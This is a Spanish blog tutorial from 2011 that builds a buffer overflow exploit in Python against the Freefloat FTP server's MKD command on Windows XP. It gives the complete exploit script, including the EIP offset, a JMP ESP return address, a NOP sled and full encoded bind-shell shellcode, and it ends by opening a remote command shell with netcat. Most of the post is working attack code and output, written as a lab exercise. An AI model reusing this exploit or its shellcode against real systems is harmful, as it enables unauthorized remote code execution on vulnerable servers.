BUFFER OVERFLOW ATTACK

Posted on 02/11/2011

0


En esta oportunidad mostrare como crear un exploit escrito en python. Me aprovechare de un servidor ftp vulnerable (Freefloat FTP).
Ademas explicare como funciona un Buffer Overflow a grandes rasgos y mas adelante explicare detalladamente como se desarrolla un programa vulnerable y como se crea su exploit para aprovecharnos de los recursos del mismo y la teoría que envuelve a la misma.

Manos a la obra, en  Windows XP tengo el servidor FTP corriendo por defecto en el puerto 21.

Ahora desarrollo una simple conexión remota al servidor desde python.

#!/usr/bin/python

from socket import *

ip = "192.168.2.103"
port = 21

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((ip,port))
print sock.recv(1024)

sock.send("USER \r\n")
print sock.recv(1024)

sock.send("PASS \r\n")
print sock.recv(1024)

sock.close()
Salida:
220 FreeFloat Ftp Server (Version 1.00).

331 Password required for .

230 User  logged in.

Con esto compruebo que el servidor esta corriendo correctamente.
Ahora enviare un buffer de datos desde el script, empezando por MKD, este es un comando vulnerable para los servicios FTP, y aprovechando eso mandare una cadena de 500 caracteres alfanuméricos.
Y con la ayuda del Framework Metasploit crearemos la cadena.

./pattern_create.rb 500

Resultado:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5
Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1
Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7
Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3
Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9
An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5
Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Ahora agrego lo anterior en el script.

#!/usr/bin/python

from socket import *

ip = "192.168.2.103"
port = 21

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((ip,port))
print sock.recv(1024)

sock.send("USER \r\n")
print sock.recv(1024)

sock.send("PASS \r\n")
print sock.recv(1024)

buffer="MKD " # comando vulnerable
buffer += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1A
c2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7A
e8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3A
h4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9A
k0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5A
m6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1A
p2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
buffer += "\r\n"
sock.send(buffer)

sock.close()

Ejecuto el exploit y listo, se puede ver que el servidor ftp en la maquina remota crasheo.

Muy bien, ahora voy a ejecutar un Debugger(Immunity Debugger), mas adelante explicare como sacar provecho a los debuggers.

Levanto otra vez el servidor ftp, y al mismo tiempo lo abro desde el Debugger y ejecuto otra vez el exploit.

El debugger nos muestra el EIP 69413269, y otra vez usare una herramienta  de metasploit para saber el numero de caracteres a enviar antes de llegar al EIP.

./pattern_offset.rb 69413269

El resultado es 247

Ahora ya no enviare la cadena de 500 caracteres, enviare una cadena de ‘A’ 247 veces y ademas enviare 4B’s y en el debugger me debería devolver lo mismo pero en exadecimales, con este resultado podre ver si estoy en el camino correcto.

#!/usr/bin/python

from socket import *

ip = "192.168.2.103"
port = 21

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((ip,port))
print sock.recv(1024)

sock.send("USER \r\n")
print sock.recv(1024)

sock.send("PASS \r\n")
print sock.recv(1024)

buffer="MKD " # comando vulnerable
buffer += "A"*247
buffer += "BBBB"
buffer += "\r\n" # delimitador
sock.send(buffer)
sock.close()

Ahora nos fijamos que el EIP nos devuelve 42424242 osea BBBB

Ahora uso la EIP para poner un JMP ESP en alguna DLL.

Me voy al Debugger y en el menu vista escojo la opción módulos ejecutables y escojo la DLL shell32, busco la posición donde se encuentra el JMP ESP

Entonces la representación endian de 7E6B30D7 es  \xd7\x30\x6b\x7e, despues de este dato enviado por el buffer, empiezo a construir la shellcode, antes ingreso 20 nops(\x90).

Otra vez utilizo metasploit para construir un payload, para este caso se necesita eliminar de la shellcode los siguientes caracteres \x00 \x01 \x0d, y usare el payload windows/shell_bind_tcp.

./msfpayload windows/shell_bind_tcp R | ./msfencode -b “\x00\x0a\x0d” -t c

Salida:

"\xdb\xd1\xd9\x74\x24\xf4\x5b\xb8\xf0\xc7\x93\x19\x33\xc9\xb1"
"\x56\x31\x43\x18\x03\x43\x18\x83\xc3\xf4\x25\x66\xe5\x1c\x20"
"\x89\x16\xdc\x53\x03\xf3\xed\x41\x77\x77\x5f\x56\xf3\xd5\x53"
"\x1d\x51\xce\xe0\x53\x7e\xe1\x41\xd9\x58\xcc\x52\xef\x64\x82"
"\x90\x71\x19\xd9\xc4\x51\x20\x12\x19\x93\x65\x4f\xd1\xc1\x3e"
"\x1b\x43\xf6\x4b\x59\x5f\xf7\x9b\xd5\xdf\x8f\x9e\x2a\xab\x25"
"\xa0\x7a\x03\x31\xea\x62\x28\x1d\xcb\x93\xfd\x7d\x37\xdd\x8a"
"\xb6\xc3\xdc\x5a\x87\x2c\xef\xa2\x44\x13\xdf\x2f\x94\x53\xd8"
"\xcf\xe3\xaf\x1a\x72\xf4\x6b\x60\xa8\x71\x6e\xc2\x3b\x21\x4a"
"\xf2\xe8\xb4\x19\xf8\x45\xb2\x46\x1d\x58\x17\xfd\x19\xd1\x96"
"\xd2\xab\xa1\xbc\xf6\xf0\x72\xdc\xaf\x5c\xd5\xe1\xb0\x39\x8a"
"\x47\xba\xa8\xdf\xfe\xe1\xa4\x2c\xcd\x19\x35\x3a\x46\x69\x07"
"\xe5\xfc\xe5\x2b\x6e\xdb\xf2\x4c\x45\x9b\x6d\xb3\x65\xdc\xa4"
"\x70\x31\x8c\xde\x51\x39\x47\x1f\x5d\xec\xc8\x4f\xf1\x5e\xa9"
"\x3f\xb1\x0e\x41\x2a\x3e\x71\x71\x55\x94\x04\xb5\x9b\xcc\x45"
"\x52\xde\xf2\x78\xfe\x57\x14\x10\xee\x31\x8e\x8c\xcc\x65\x07"
"\x2b\x2e\x4c\x3b\xe4\xb8\xd8\x55\x32\xc6\xd8\x73\x11\x6b\x70"
"\x14\xe1\x67\x45\x05\xf6\xad\xed\x4c\xcf\x26\x67\x21\x82\xd7"
"\x78\x68\x74\x7b\xea\xf7\x84\xf2\x17\xa0\xd3\x53\xe9\xb9\xb1"
"\x49\x50\x10\xa7\x93\x04\x5b\x63\x48\xf5\x62\x6a\x1d\x41\x41"
"\x7c\xdb\x4a\xcd\x28\xb3\x1c\x9b\x86\x75\xf7\x6d\x70\x2c\xa4"
"\x27\x14\xa9\x86\xf7\x62\xb6\xc2\x81\x8a\x07\xbb\xd7\xb5\xa8"
"\x2b\xd0\xce\xd4\xcb\x1f\x05\x5d\xfb\x55\x07\xf4\x94\x33\xd2"
"\x44\xf9\xc3\x09\x8a\x04\x40\xbb\x73\xf3\x58\xce\x76\xbf\xde"
"\x23\x0b\xd0\x8a\x43\xb8\xd1\x9e";
Ahora el script me queda asi:
#!/usr/bin/python

from socket import *

ip = "192.168.2.103"
port = 21

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((ip,port))
print sock.recv(1024)

sock.send("USER \r\n")
print sock.recv(1024)

sock.send("PASS \r\n")
print sock.recv(1024)

buffer="MKD " # comando vulnerable
buffer += "A"*247
buffer += "\xd7\x30\x6b\x7e"
buffer += "\x90"*20
buffer += ("\xdb\xd1\xd9\x74\x24\xf4\x5b\xb8\xf0\xc7\x93\x19\x33\xc9\xb1"
"\x56\x31\x43\x18\x03\x43\x18\x83\xc3\xf4\x25\x66\xe5\x1c\x20"
"\x89\x16\xdc\x53\x03\xf3\xed\x41\x77\x77\x5f\x56\xf3\xd5\x53"
"\x1d\x51\xce\xe0\x53\x7e\xe1\x41\xd9\x58\xcc\x52\xef\x64\x82"
"\x90\x71\x19\xd9\xc4\x51\x20\x12\x19\x93\x65\x4f\xd1\xc1\x3e"
"\x1b\x43\xf6\x4b\x59\x5f\xf7\x9b\xd5\xdf\x8f\x9e\x2a\xab\x25"
"\xa0\x7a\x03\x31\xea\x62\x28\x1d\xcb\x93\xfd\x7d\x37\xdd\x8a"
"\xb6\xc3\xdc\x5a\x87\x2c\xef\xa2\x44\x13\xdf\x2f\x94\x53\xd8"
"\xcf\xe3\xaf\x1a\x72\xf4\x6b\x60\xa8\x71\x6e\xc2\x3b\x21\x4a"
"\xf2\xe8\xb4\x19\xf8\x45\xb2\x46\x1d\x58\x17\xfd\x19\xd1\x96"
"\xd2\xab\xa1\xbc\xf6\xf0\x72\xdc\xaf\x5c\xd5\xe1\xb0\x39\x8a"
"\x47\xba\xa8\xdf\xfe\xe1\xa4\x2c\xcd\x19\x35\x3a\x46\x69\x07"
"\xe5\xfc\xe5\x2b\x6e\xdb\xf2\x4c\x45\x9b\x6d\xb3\x65\xdc\xa4"
"\x70\x31\x8c\xde\x51\x39\x47\x1f\x5d\xec\xc8\x4f\xf1\x5e\xa9"
"\x3f\xb1\x0e\x41\x2a\x3e\x71\x71\x55\x94\x04\xb5\x9b\xcc\x45"
"\x52\xde\xf2\x78\xfe\x57\x14\x10\xee\x31\x8e\x8c\xcc\x65\x07"
"\x2b\x2e\x4c\x3b\xe4\xb8\xd8\x55\x32\xc6\xd8\x73\x11\x6b\x70"
"\x14\xe1\x67\x45\x05\xf6\xad\xed\x4c\xcf\x26\x67\x21\x82\xd7"
"\x78\x68\x74\x7b\xea\xf7\x84\xf2\x17\xa0\xd3\x53\xe9\xb9\xb1"
"\x49\x50\x10\xa7\x93\x04\x5b\x63\x48\xf5\x62\x6a\x1d\x41\x41"
"\x7c\xdb\x4a\xcd\x28\xb3\x1c\x9b\x86\x75\xf7\x6d\x70\x2c\xa4"
"\x27\x14\xa9\x86\xf7\x62\xb6\xc2\x81\x8a\x07\xbb\xd7\xb5\xa8"
"\x2b\xd0\xce\xd4\xcb\x1f\x05\x5d\xfb\x55\x07\xf4\x94\x33\xd2"
"\x44\xf9\xc3\x09\x8a\x04\x40\xbb\x73\xf3\x58\xce\x76\xbf\xde"
"\x23\x0b\xd0\x8a\x43\xb8\xd1\x9e")

buffer += "\r\n" # delimitador
sock.send(buffer)
sock.close()

Y otra vez ejecuto el exploit y se nota en el debugger que no muestra error, eso es una buena señal, el payload anterior nos abre una conexión en el puerto 4444 y como indicamos que cuando encuentre la sobrecarga la siguiente instrucción que nos ejecute sea una shell32.dll entonces tendremos una consola remota.

Por ultimo usamos netcat para conectarnos a dicho puerto:

nc 192.168.2.103 4444

Listo, llegamos a obtener un acceso remoto valiendonos de una sobre carga de memoria.

Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\user02\Escritorio>

					
Anuncios